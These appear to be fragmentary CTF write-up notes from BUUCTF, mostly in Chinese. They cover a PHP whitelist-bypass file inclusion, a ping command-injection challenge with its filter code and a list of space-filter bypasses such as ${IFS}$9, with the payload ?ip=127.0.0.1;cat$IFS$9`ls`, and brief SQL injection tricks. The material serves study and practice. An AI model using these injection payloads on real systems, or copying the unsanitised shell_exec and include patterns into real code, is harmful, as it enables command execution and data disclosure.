BUUCTF

 <?php
    highlight_file(__FILE__);
    class emmm     {
         public static function checkFile(&$page) 
         {
             //白名单列表
             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
             if (! isset($page) || !is_string($page)) {
                 echo "you can't see it A";
                 return false;
             }
             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($page, $whitelist)) {
                 return true;
             }
             //过滤问号的函数(如果$page的值有？则从?之前提取字符串)
             $_page = mb_substr(
                 $page,
                 0,
                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
             ); 
              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             //url对$page解码
             $_page = urldecode($page);
 
             //第二次过滤问号的函数(如果$page的值有？则从?之前提取字符串)
             $_page = mb_substr(
                 $_page,
                 0,
                 mb_strpos($_page . '?', '?')
             );
             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             echo "you can't see it";
             return false;
         }
     }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

& / ？ * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

• ${IFS}$9

• {IFS}

• $IFS

• ${IFS}

• $IFS$1 //$1改成$加其他数字亦可

• IFS

• <

• <>

• {cat,flag.php} //用逗号实现了空格功能，需要用{}括起来

• %20 (space)

• %09 (tab)

• X=$'cat\x09./flag.php';$X （\x09表示tab，也可以用\x20）

内联执行绕过

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者，始终为空字符串，$后可以接任意数字

• 堆叠注入

• 手工盲注

• sql_mode修改注入

手工盲注

* ,1 注入，直接回显flag

• 原理：等同于select *,1 from flag

sql=select.post[‘query’]"||flag from Flag";

如果$post[‘query’]的数据为*,1，sql语句就变成了select *,1||flag from Flag